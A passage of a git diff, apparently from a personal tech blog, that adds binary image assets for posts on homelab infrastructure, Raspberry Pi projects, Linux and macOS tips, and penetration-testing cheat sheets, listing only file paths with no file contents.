b/assets/images/penetration-testing/vmwareFusion/host.jpg differ diff --git a/assets/images/penetration-testing/vmwareFusion/pythonServerExmaple.jpg b/assets/images/penetration-testing/vmwareFusion/pythonServerExmaple.jpg new file mode 100644 index 000000000..5325cd6a7 Binary files /dev/null and b/assets/images/penetration-testing/vmwareFusion/pythonServerExmaple.jpg differ diff --git a/assets/images/penetration-testing/vmwareFusion/vmware_nat_config.jpg b/assets/images/penetration-testing/vmwareFusion/vmware_nat_config.jpg new file mode 100644 index 000000000..b1c32cb81 Binary files /dev/null and b/assets/images/penetration-testing/vmwareFusion/vmware_nat_config.jpg differ diff --git a/assets/images/penetration-testing/vmwareFusion/vmware_network.jpg b/assets/images/penetration-testing/vmwareFusion/vmware_network.jpg new file mode 100644 index 000000000..fa39850e5 Binary files /dev/null and b/assets/images/penetration-testing/vmwareFusion/vmware_network.jpg differ diff --git a/assets/images/penetration-testing/vmwareFusion/vmwarenetworks.jpg b/assets/images/penetration-testing/vmwareFusion/vmwarenetworks.jpg new file mode 100644 index 000000000..d768455eb Binary files /dev/null and b/assets/images/penetration-testing/vmwareFusion/vmwarenetworks.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1717.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1717.jpg new file mode 100644 index 000000000..7ff22a453 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1717.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1719.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1719.jpg new file mode 100644 index 000000000..982fcfa42 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1719.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1722.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1722.jpg new file mode 100644 index 000000000..b3f2448dd Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1722.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1728.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1728.jpg new file mode 100644 index 000000000..31719cce8 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1728.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1730.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1730.jpg new file mode 100644 index 000000000..d000da70d Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1730.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1732.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1732.jpg new file mode 100644 index 000000000..04c9739fd Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1732.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1766.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1766.jpg new file mode 100644 index 000000000..55c98e5f1 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1766.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1767.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1767.jpg new file mode 100644 index 000000000..84b31c433 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1767.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1768.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1768.jpg new file mode 100644 index 000000000..1cfa28b83 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1768.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1769.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1769.jpg new file mode 100644 index 000000000..3c44126a0 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1769.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1771.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1771.jpg new file mode 100644 index 000000000..fb7152c81 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1771.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1978.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1978.jpg new file mode 100644 index 000000000..3ecc47547 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1978.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1984.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1984.jpg new file mode 100644 index 000000000..f1c3fd5f4 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1984.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_1985.jpg b/assets/images/raspberry-pi/magicMirror/IMG_1985.jpg new file mode 100644 index 000000000..bfaa1e6f4 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_1985.jpg differ diff --git a/assets/images/raspberry-pi/magicMirror/IMG_2134.jpg b/assets/images/raspberry-pi/magicMirror/IMG_2134.jpg new file mode 100644 index 000000000..a05c704e8 Binary files /dev/null and b/assets/images/raspberry-pi/magicMirror/IMG_2134.jpg differ diff --git a/assets/images/raspberry-pi/torPi/iptables.png b/assets/images/raspberry-pi/torPi/iptables.png new file mode 100644 index 000000000..d71841abc Binary files /dev/null and b/assets/images/raspberry-pi/torPi/iptables.png differ diff --git a/assets/images/raspberry-pi/torPi/netstat_tor.png b/assets/images/raspberry-pi/torPi/netstat_tor.png new file mode 100644 index 000000000..50cdcf43a Binary files /dev/null and b/assets/images/raspberry-pi/torPi/netstat_tor.png differ diff --git a/assets/images/raspberry-pi/torPi/networkDiagram.png b/assets/images/raspberry-pi/torPi/networkDiagram.png new file mode 100644 index 000000000..9448ae37c Binary files /dev/null and b/assets/images/raspberry-pi/torPi/networkDiagram.png differ diff --git a/assets/images/raspberry-pi/torPi/rasberryPiOsMinimal.png b/assets/images/raspberry-pi/torPi/rasberryPiOsMinimal.png new file mode 100644 index 000000000..4834f0a01 Binary files /dev/null and b/assets/images/raspberry-pi/torPi/rasberryPiOsMinimal.png differ diff --git a/assets/images/raspberry-pi/torPi/ssh_file.png b/assets/images/raspberry-pi/torPi/ssh_file.png new file mode 100644 index 000000000..ea50f6efc Binary files /dev/null and b/assets/images/raspberry-pi/torPi/ssh_file.png differ diff --git a/assets/images/raspberry-pi/torPi/torPi.jpg b/assets/images/raspberry-pi/torPi/torPi.jpg new file mode 100644 index 000000000..8740d5930 Binary files /dev/null and b/assets/images/raspberry-pi/torPi/torPi.jpg differ diff --git a/assets/images/raspberry-pi/torPi/torrc.png b/assets/images/raspberry-pi/torPi/torrc.png new file mode 100644 index 000000000..c2f43037d Binary files /dev/null and b/assets/images/raspberry-pi/torPi/torrc.png differ diff --git a/assets/images/raspberry-pi/torPi/webui-authentication.png b/assets/images/raspberry-pi/torPi/webui-authentication.png new file mode 100644 index 000000000..3e7795efc Binary files /dev/null and b/assets/images/raspberry-pi/torPi/webui-authentication.png differ diff --git a/assets/images/raspberry-pi/torPi/wlan0_hotspot.png b/assets/images/raspberry-pi/torPi/wlan0_hotspot.png new file mode 100644 index 000000000..804031fe2 Binary files /dev/null and b/assets/images/raspberry-pi/torPi/wlan0_hotspot.png differ diff --git a/assets/images/raspberry-pi/torPi/wlan0_wifiClient.png b/assets/images/raspberry-pi/torPi/wlan0_wifiClient.png new file mode 100644 index 000000000..89e4e2aa8 Binary files /dev/null and b/assets/images/raspberry-pi/torPi/wlan0_wifiClient.png differ diff --git a/assets/images/raspberry-pi/torPi/wlan1_hotspost.png b/assets/images/raspberry-pi/torPi/wlan1_hotspost.png new file mode 100644 index 000000000..eb8b2a0ea Binary files /dev/null and b/assets/images/raspberry-pi/torPi/wlan1_hotspost.png differ diff --git a/assets/images/social/android/adb-cheat-sheet.png b/assets/images/social/android/adb-cheat-sheet.png new file mode 100644 index 000000000..b4be0c30d Binary files /dev/null and b/assets/images/social/android/adb-cheat-sheet.png differ diff --git a/assets/images/social/android/apktool.png b/assets/images/social/android/apktool.png new file mode 100644 index 000000000..17bcf09b9 Binary files /dev/null and b/assets/images/social/android/apktool.png differ diff --git a/assets/images/social/android/applications.png b/assets/images/social/android/applications.png new file mode 100644 index 000000000..1f8f0a234 Binary files /dev/null and b/assets/images/social/android/applications.png differ diff --git a/assets/images/social/android/jadx-decompiler.png b/assets/images/social/android/jadx-decompiler.png new file mode 100644 index 000000000..e14b25c90 Binary files /dev/null and b/assets/images/social/android/jadx-decompiler.png differ diff --git a/assets/images/social/android/mobsf.png b/assets/images/social/android/mobsf.png new file mode 100644 index 000000000..2bee124d5 Binary files /dev/null and b/assets/images/social/android/mobsf.png differ diff --git a/assets/images/social/android/ssl-pinning-bypass.png b/assets/images/social/android/ssl-pinning-bypass.png new file mode 100644 index 000000000..5e976c2a4 Binary files /dev/null and b/assets/images/social/android/ssl-pinning-bypass.png differ diff --git a/assets/images/social/automation/ddns-cloudflare-bash.png b/assets/images/social/automation/ddns-cloudflare-bash.png new file mode 100644 index 000000000..4e7612e64 Binary files /dev/null and b/assets/images/social/automation/ddns-cloudflare-bash.png differ diff --git a/assets/images/social/automation/ddns-cloudflare-powershell.png b/assets/images/social/automation/ddns-cloudflare-powershell.png new file mode 100644 index 000000000..50f21a7d3 Binary files /dev/null and b/assets/images/social/automation/ddns-cloudflare-powershell.png differ diff --git a/assets/images/social/automation/gmail-mark-archived-mail-as-read.png b/assets/images/social/automation/gmail-mark-archived-mail-as-read.png new file mode 100644 index 000000000..cf0aa08cb Binary files /dev/null and b/assets/images/social/automation/gmail-mark-archived-mail-as-read.png differ diff --git a/assets/images/social/automation/guides/better-terminal-experience.png b/assets/images/social/automation/guides/better-terminal-experience.png new file mode 100644 index 000000000..790b576af Binary files /dev/null and b/assets/images/social/automation/guides/better-terminal-experience.png differ diff --git a/assets/images/social/automation/guides/pihole-doh.png b/assets/images/social/automation/guides/pihole-doh.png new file mode 100644 index 000000000..33b2091bf Binary files /dev/null and b/assets/images/social/automation/guides/pihole-doh.png differ diff --git a/assets/images/social/automation/pihole-cloudflare-dns-sync.png b/assets/images/social/automation/pihole-cloudflare-dns-sync.png new file mode 100644 index 000000000..f43a32245 Binary files /dev/null and b/assets/images/social/automation/pihole-cloudflare-dns-sync.png differ diff --git a/assets/images/social/automation/syncthings.png b/assets/images/social/automation/syncthings.png new file mode 100644 index 000000000..aa2a14106 Binary files /dev/null and b/assets/images/social/automation/syncthings.png differ diff --git a/assets/images/social/blog.png b/assets/images/social/blog.png new file mode 100644 index 000000000..b23a941a2 Binary files /dev/null and b/assets/images/social/blog.png differ diff --git a/assets/images/social/development/node-npm/npm.png b/assets/images/social/development/node-npm/npm.png new file mode 100644 index 000000000..6b485b611 Binary files /dev/null and b/assets/images/social/development/node-npm/npm.png differ diff --git a/assets/images/social/development/node-npm/pm2.png b/assets/images/social/development/node-npm/pm2.png new file mode 100644 index 000000000..d37638412 Binary files /dev/null and b/assets/images/social/development/node-npm/pm2.png differ diff --git a/assets/images/social/development/python/pip.png b/assets/images/social/development/python/pip.png new file mode 100644 index 000000000..2d3fd8b47 Binary files /dev/null and b/assets/images/social/development/python/pip.png differ diff --git a/assets/images/social/development/python/supervisor.png b/assets/images/social/development/python/supervisor.png new file mode 100644 index 000000000..a2058114c Binary files /dev/null and b/assets/images/social/development/python/supervisor.png differ diff --git a/assets/images/social/development/python/virtualenv.png b/assets/images/social/development/python/virtualenv.png new file mode 100644 index 000000000..248d002b5 Binary files /dev/null and b/assets/images/social/development/python/virtualenv.png differ diff --git a/assets/images/social/development/ruby/ruby.png b/assets/images/social/development/ruby/ruby.png new file mode 100644 index 000000000..21124aba7 Binary files /dev/null and b/assets/images/social/development/ruby/ruby.png differ diff --git a/assets/images/social/devops/docker/common-docker-commands.png b/assets/images/social/devops/docker/common-docker-commands.png new file mode 100644 index 000000000..6fdba980f Binary files /dev/null and b/assets/images/social/devops/docker/common-docker-commands.png differ diff --git a/assets/images/social/devops/docker/docker-containers.png b/assets/images/social/devops/docker/docker-containers.png new file mode 100644 index 000000000..9e8a8388c Binary files /dev/null and b/assets/images/social/devops/docker/docker-containers.png differ diff --git a/assets/images/social/devops/docker/docker-images.png b/assets/images/social/devops/docker/docker-images.png new file mode 100644 index 000000000..a7e71dea1 Binary files /dev/null and b/assets/images/social/devops/docker/docker-images.png differ diff --git a/assets/images/social/devops/docker/docker-install.png b/assets/images/social/devops/docker/docker-install.png new file mode 100644 index 000000000..82badbfe4 Binary files /dev/null and b/assets/images/social/devops/docker/docker-install.png differ diff --git a/assets/images/social/devops/docker/docker-networks.png b/assets/images/social/devops/docker/docker-networks.png new file mode 100644 index 000000000..2fdb5cabb Binary files /dev/null and b/assets/images/social/devops/docker/docker-networks.png differ diff --git a/assets/images/social/devops/docker/docker-security.png b/assets/images/social/devops/docker/docker-security.png new file mode 100644 index 000000000..31e57e8e0 Binary files /dev/null and b/assets/images/social/devops/docker/docker-security.png differ diff --git a/assets/images/social/devops/docker/watchtower.png b/assets/images/social/devops/docker/watchtower.png new file mode 100644 index 000000000..2d27f8d03 Binary files /dev/null and b/assets/images/social/devops/docker/watchtower.png differ diff --git a/assets/images/social/devops/git/delete-commit-history.png b/assets/images/social/devops/git/delete-commit-history.png new file mode 100644 index 000000000..4eb721607 Binary files /dev/null and b/assets/images/social/devops/git/delete-commit-history.png differ diff --git a/assets/images/social/devops/git/git-cli-cheat-sheet.png b/assets/images/social/devops/git/git-cli-cheat-sheet.png new file mode 100644 index 000000000..f4468d3c2 Binary files /dev/null and b/assets/images/social/devops/git/git-cli-cheat-sheet.png differ diff --git a/assets/images/social/devops/git/git-submodules.png b/assets/images/social/devops/git/git-submodules.png new file mode 100644 index 000000000..2d49c286f Binary files /dev/null and b/assets/images/social/devops/git/git-submodules.png differ diff --git a/assets/images/social/devops/git/github-cli.png b/assets/images/social/devops/git/github-cli.png new file mode 100644 index 000000000..d3e9fa5b4 Binary files /dev/null and b/assets/images/social/devops/git/github-cli.png differ diff --git a/assets/images/social/homelab/devices/synology-nas.png b/assets/images/social/homelab/devices/synology-nas.png new file mode 100644 index 000000000..a464a3d78 Binary files /dev/null and b/assets/images/social/homelab/devices/synology-nas.png differ diff --git a/assets/images/social/index.png b/assets/images/social/index.png new file mode 100644 index 000000000..1335a6f1c Binary files /dev/null and b/assets/images/social/index.png differ diff --git a/assets/images/social/information/affiliateDisclosure.png b/assets/images/social/information/affiliateDisclosure.png new file mode 100644 index 000000000..ab63a4318 Binary files /dev/null and b/assets/images/social/information/affiliateDisclosure.png differ diff --git a/assets/images/social/information/cookies-policy.png b/assets/images/social/information/cookies-policy.png new file mode 100644 index 000000000..c4dc0d62d Binary files /dev/null and b/assets/images/social/information/cookies-policy.png differ diff --git a/assets/images/social/information/endorsement.png b/assets/images/social/information/endorsement.png new file mode 100644 index 000000000..0231c059d Binary files /dev/null and b/assets/images/social/information/endorsement.png differ diff --git a/assets/images/social/information/license.png b/assets/images/social/information/license.png new file mode 100644 index 000000000..af503fc60 Binary files /dev/null and b/assets/images/social/information/license.png differ diff --git a/assets/images/social/information/portfolio.png b/assets/images/social/information/portfolio.png new file mode 100644 index 000000000..b82f5607b Binary files /dev/null and b/assets/images/social/information/portfolio.png differ diff --git a/assets/images/social/information/privacy-policy.png b/assets/images/social/information/privacy-policy.png new file mode 100644 index 000000000..e94ab80af Binary files /dev/null and b/assets/images/social/information/privacy-policy.png differ diff --git a/assets/images/social/infrastructure/openwrt/disable-ipv6.png b/assets/images/social/infrastructure/openwrt/disable-ipv6.png new file mode 100644 index 000000000..294b06130 Binary files /dev/null and b/assets/images/social/infrastructure/openwrt/disable-ipv6.png differ diff --git a/assets/images/social/infrastructure/openwrt/install-oh-my-zsh.png b/assets/images/social/infrastructure/openwrt/install-oh-my-zsh.png new file mode 100644 index 000000000..45d6ec76f Binary files /dev/null and b/assets/images/social/infrastructure/openwrt/install-oh-my-zsh.png differ diff --git a/assets/images/social/infrastructure/openwrt/snippets.png b/assets/images/social/infrastructure/openwrt/snippets.png new file mode 100644 index 000000000..386394911 Binary files /dev/null and b/assets/images/social/infrastructure/openwrt/snippets.png differ diff --git a/assets/images/social/infrastructure/proxmox/cloud-image-template.png b/assets/images/social/infrastructure/proxmox/cloud-image-template.png new file mode 100644 index 000000000..464ff54d3 Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/cloud-image-template.png differ diff --git a/assets/images/social/infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm.png b/assets/images/social/infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm.png new file mode 100644 index 000000000..3242f71cf Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm.png differ diff --git a/assets/images/social/infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm.png b/assets/images/social/infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm.png new file mode 100644 index 000000000..110c9dad0 Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm.png differ diff --git a/assets/images/social/infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough.png b/assets/images/social/infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough.png new file mode 100644 index 000000000..fd6b5e4bd Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough.png differ diff --git a/assets/images/social/infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough.png b/assets/images/social/infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough.png new file mode 100644 index 000000000..4e1433b1f Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough.png differ diff --git a/assets/images/social/infrastructure/proxmox/lets-encrypt-cloudflare.png b/assets/images/social/infrastructure/proxmox/lets-encrypt-cloudflare.png new file mode 100644 index 000000000..21b0e4628 Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/lets-encrypt-cloudflare.png differ diff --git a/assets/images/social/infrastructure/proxmox/network/disable-ipv6.png b/assets/images/social/infrastructure/proxmox/network/disable-ipv6.png new file mode 100644 index 000000000..b99a7530b Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/network/disable-ipv6.png differ diff --git a/assets/images/social/infrastructure/proxmox/network/proxmox-networking.png b/assets/images/social/infrastructure/proxmox/network/proxmox-networking.png new file mode 100644 index 000000000..324615ad7 Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/network/proxmox-networking.png differ diff --git a/assets/images/social/infrastructure/proxmox/pvekclean.png b/assets/images/social/infrastructure/proxmox/pvekclean.png new file mode 100644 index 000000000..1f83b184f Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/pvekclean.png differ diff --git a/assets/images/social/infrastructure/proxmox/vm-disk-expander.png b/assets/images/social/infrastructure/proxmox/vm-disk-expander.png new file mode 100644 index 000000000..5a53e4140 Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/vm-disk-expander.png differ diff --git a/assets/images/social/infrastructure/proxmox/windows-vm-configuration.png b/assets/images/social/infrastructure/proxmox/windows-vm-configuration.png new file mode 100644 index 000000000..ecede404f Binary files /dev/null and b/assets/images/social/infrastructure/proxmox/windows-vm-configuration.png differ diff --git a/assets/images/social/infrastructure/synology/Install-oh-my-zsh.png b/assets/images/social/infrastructure/synology/Install-oh-my-zsh.png new file mode 100644 index 000000000..244864083 Binary files /dev/null and b/assets/images/social/infrastructure/synology/Install-oh-my-zsh.png differ diff --git a/assets/images/social/infrastructure/synology/Installing-vm-tools-on-virtual-machine.png b/assets/images/social/infrastructure/synology/Installing-vm-tools-on-virtual-machine.png new file mode 100644 index 000000000..99726e96a Binary files /dev/null and b/assets/images/social/infrastructure/synology/Installing-vm-tools-on-virtual-machine.png differ diff --git a/assets/images/social/infrastructure/synology/auto-dsm-config-backup.png b/assets/images/social/infrastructure/synology/auto-dsm-config-backup.png new file mode 100644 index 000000000..ebd5e83cc Binary files /dev/null and b/assets/images/social/infrastructure/synology/auto-dsm-config-backup.png differ diff --git a/assets/images/social/infrastructure/synology/disable-dms-listening-on-80-443-ports.png b/assets/images/social/infrastructure/synology/disable-dms-listening-on-80-443-ports.png new file mode 100644 index 000000000..5821c0c85 Binary files /dev/null and b/assets/images/social/infrastructure/synology/disable-dms-listening-on-80-443-ports.png differ diff --git a/assets/images/social/infrastructure/synology/enable-ssh-root-login.png b/assets/images/social/infrastructure/synology/enable-ssh-root-login.png new file mode 100644 index 000000000..3fb1fcc97 Binary files /dev/null and b/assets/images/social/infrastructure/synology/enable-ssh-root-login.png differ diff --git a/assets/images/social/infrastructure/synology/ssh-with-rsa-key.png b/assets/images/social/infrastructure/synology/ssh-with-rsa-key.png new file mode 100644 index 000000000..07d21bfbd Binary files /dev/null and b/assets/images/social/infrastructure/synology/ssh-with-rsa-key.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/edge-router.png b/assets/images/social/infrastructure/ubiquiti/edge-router.png new file mode 100644 index 000000000..e088fa995 Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/edge-router.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/cli-commands.png b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/cli-commands.png new file mode 100644 index 000000000..e41038a3d Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/cli-commands.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications.png b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications.png new file mode 100644 index 000000000..1e7c4e9cc Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/persistent-boot-script.png b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/persistent-boot-script.png new file mode 100644 index 000000000..cf5bbbf80 Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/persistent-boot-script.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys.png b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys.png new file mode 100644 index 000000000..050e1ce12 Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds.png b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds.png new file mode 100644 index 000000000..44fd24dd3 Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns.png b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns.png new file mode 100644 index 000000000..4def2c5a0 Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns.png differ diff --git a/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn.png b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn.png new file mode 100644 index 000000000..fb162f837 Binary files /dev/null and b/assets/images/social/infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn.png differ diff --git a/assets/images/social/infrastructure/vmware/vmware-fusion.png b/assets/images/social/infrastructure/vmware/vmware-fusion.png new file mode 100644 index 000000000..4377a8edb Binary files /dev/null and b/assets/images/social/infrastructure/vmware/vmware-fusion.png differ diff --git a/assets/images/social/linux/Network/identify-nics.png b/assets/images/social/linux/Network/identify-nics.png new file mode 100644 index 000000000..5b63117f9 Binary files /dev/null and b/assets/images/social/linux/Network/identify-nics.png differ diff --git a/assets/images/social/linux/files-handling.png b/assets/images/social/linux/files-handling.png new file mode 100644 index 000000000..3a8c305ea Binary files /dev/null and b/assets/images/social/linux/files-handling.png differ diff --git a/assets/images/social/linux/general-snippets.png b/assets/images/social/linux/general-snippets.png new file mode 100644 index 000000000..bb7bcc642 Binary files /dev/null and b/assets/images/social/linux/general-snippets.png differ diff --git a/assets/images/social/linux/locales-time-zone.png b/assets/images/social/linux/locales-time-zone.png new file mode 100644 index 000000000..9a1d5fd64 Binary files /dev/null and b/assets/images/social/linux/locales-time-zone.png differ diff --git a/assets/images/social/linux/lvm-partitions.png b/assets/images/social/linux/lvm-partitions.png new file mode 100644 index 000000000..fc3e65265 Binary files /dev/null and b/assets/images/social/linux/lvm-partitions.png differ diff --git a/assets/images/social/linux/memory-swap.png b/assets/images/social/linux/memory-swap.png new file mode 100644 index 000000000..22af72e5f Binary files /dev/null and b/assets/images/social/linux/memory-swap.png differ diff --git a/assets/images/social/linux/services-and-daemons.png b/assets/images/social/linux/services-and-daemons.png new file mode 100644 index 000000000..3181d2a5e Binary files /dev/null and b/assets/images/social/linux/services-and-daemons.png differ diff --git a/assets/images/social/linux/smb-mount-autofs.png b/assets/images/social/linux/smb-mount-autofs.png new file mode 100644 index 000000000..ff2323868 Binary files /dev/null and b/assets/images/social/linux/smb-mount-autofs.png differ diff --git a/assets/images/social/linux/ssh-hardening-with-rsa-keys.png b/assets/images/social/linux/ssh-hardening-with-rsa-keys.png new file mode 100644 index 000000000..b62ebaeec Binary files /dev/null and b/assets/images/social/linux/ssh-hardening-with-rsa-keys.png differ diff --git a/assets/images/social/linux/ubuntu-debian/disable-ipv6.png b/assets/images/social/linux/ubuntu-debian/disable-ipv6.png new file mode 100644 index 000000000..68d2904a3 Binary files /dev/null and b/assets/images/social/linux/ubuntu-debian/disable-ipv6.png differ diff --git a/assets/images/social/linux/ubuntu-debian/free-port-53.png b/assets/images/social/linux/ubuntu-debian/free-port-53.png new file mode 100644 index 000000000..5a07102d0 Binary files /dev/null and b/assets/images/social/linux/ubuntu-debian/free-port-53.png differ diff --git a/assets/images/social/linux/ubuntu-debian/remove-snap-store.png b/assets/images/social/linux/ubuntu-debian/remove-snap-store.png new file mode 100644 index 000000000..be2f2cc2d Binary files /dev/null and b/assets/images/social/linux/ubuntu-debian/remove-snap-store.png differ diff --git a/assets/images/social/linux/ubuntu-debian/unattended-upgrades.png b/assets/images/social/linux/ubuntu-debian/unattended-upgrades.png new file mode 100644 index 000000000..7dc0a29b0 Binary files /dev/null and b/assets/images/social/linux/ubuntu-debian/unattended-upgrades.png differ diff --git a/assets/images/social/mac-os/applications-tweaks.png b/assets/images/social/mac-os/applications-tweaks.png new file mode 100644 index 000000000..bde835784 Binary files /dev/null and b/assets/images/social/mac-os/applications-tweaks.png differ diff --git a/assets/images/social/mac-os/enable-root-user.png b/assets/images/social/mac-os/enable-root-user.png new file mode 100644 index 000000000..7b73514e1 Binary files /dev/null and b/assets/images/social/mac-os/enable-root-user.png differ diff --git a/assets/images/social/mac-os/homebrew/brewup.png b/assets/images/social/mac-os/homebrew/brewup.png new file mode 100644 index 000000000..44b08c094 Binary files /dev/null and b/assets/images/social/mac-os/homebrew/brewup.png differ diff --git a/assets/images/social/mac-os/homebrew/homebrew-snippets.png b/assets/images/social/mac-os/homebrew/homebrew-snippets.png new file mode 100644 index 000000000..3d6f31c9c Binary files /dev/null and b/assets/images/social/mac-os/homebrew/homebrew-snippets.png differ diff --git a/assets/images/social/mac-os/import-ssh-keys-keychain.png b/assets/images/social/mac-os/import-ssh-keys-keychain.png new file mode 100644 index 000000000..00153beb8 Binary files /dev/null and b/assets/images/social/mac-os/import-ssh-keys-keychain.png differ diff --git a/assets/images/social/mac-os/python/pyenv-virtualenv.png b/assets/images/social/mac-os/python/pyenv-virtualenv.png new file mode 100644 index 000000000..2bb07f774 Binary files /dev/null and b/assets/images/social/mac-os/python/pyenv-virtualenv.png differ diff --git a/assets/images/social/mac-os/terminal-snippets.png b/assets/images/social/mac-os/terminal-snippets.png new file mode 100644 index 000000000..9c993c01e Binary files /dev/null and b/assets/images/social/mac-os/terminal-snippets.png differ diff --git a/assets/images/social/mac-os/touch-id-for-sudo.png b/assets/images/social/mac-os/touch-id-for-sudo.png new file mode 100644 index 000000000..97c5150b7 Binary files /dev/null and b/assets/images/social/mac-os/touch-id-for-sudo.png differ diff --git a/assets/images/social/mac-os/ui-tweaks.png b/assets/images/social/mac-os/ui-tweaks.png new file mode 100644 index 000000000..23623d0e6 Binary files /dev/null and b/assets/images/social/mac-os/ui-tweaks.png differ diff --git a/assets/images/social/penetration-testing/cheatsheets/cli-commands-collation.png b/assets/images/social/penetration-testing/cheatsheets/cli-commands-collation.png new file mode 100644 index 000000000..99168a6ba Binary files /dev/null and b/assets/images/social/penetration-testing/cheatsheets/cli-commands-collation.png differ diff --git a/assets/images/social/penetration-testing/cheatsheets/gobuster-cheatsheet.png b/assets/images/social/penetration-testing/cheatsheets/gobuster-cheatsheet.png new file mode 100644 index 000000000..e982d91a7 Binary files /dev/null and b/assets/images/social/penetration-testing/cheatsheets/gobuster-cheatsheet.png differ diff --git a/assets/images/social/penetration-testing/cheatsheets/nmap-cheatsheet.png b/assets/images/social/penetration-testing/cheatsheets/nmap-cheatsheet.png new file mode 100644 index 000000000..e5a77c160 Binary files /dev/null and b/assets/images/social/penetration-testing/cheatsheets/nmap-cheatsheet.png differ diff --git a/assets/images/social/penetration-testing/cheatsheets/xss-cheatsheet.png b/assets/images/social/penetration-testing/cheatsheets/xss-cheatsheet.png new file mode 100644 index 000000000..fd248be2f Binary files /dev/null and b/assets/images/social/penetration-testing/cheatsheets/xss-cheatsheet.png differ diff --git a/assets/images/social/penetration-testing/kali-linux/bettercap1.6.2.png b/assets/images/social/penetration-testing/kali-linux/bettercap1.6.2.png new file mode 100644 index 000000000..ab597935e Binary files /dev/null and b/assets/images/social/penetration-testing/kali-linux/bettercap1.6.2.png differ diff --git 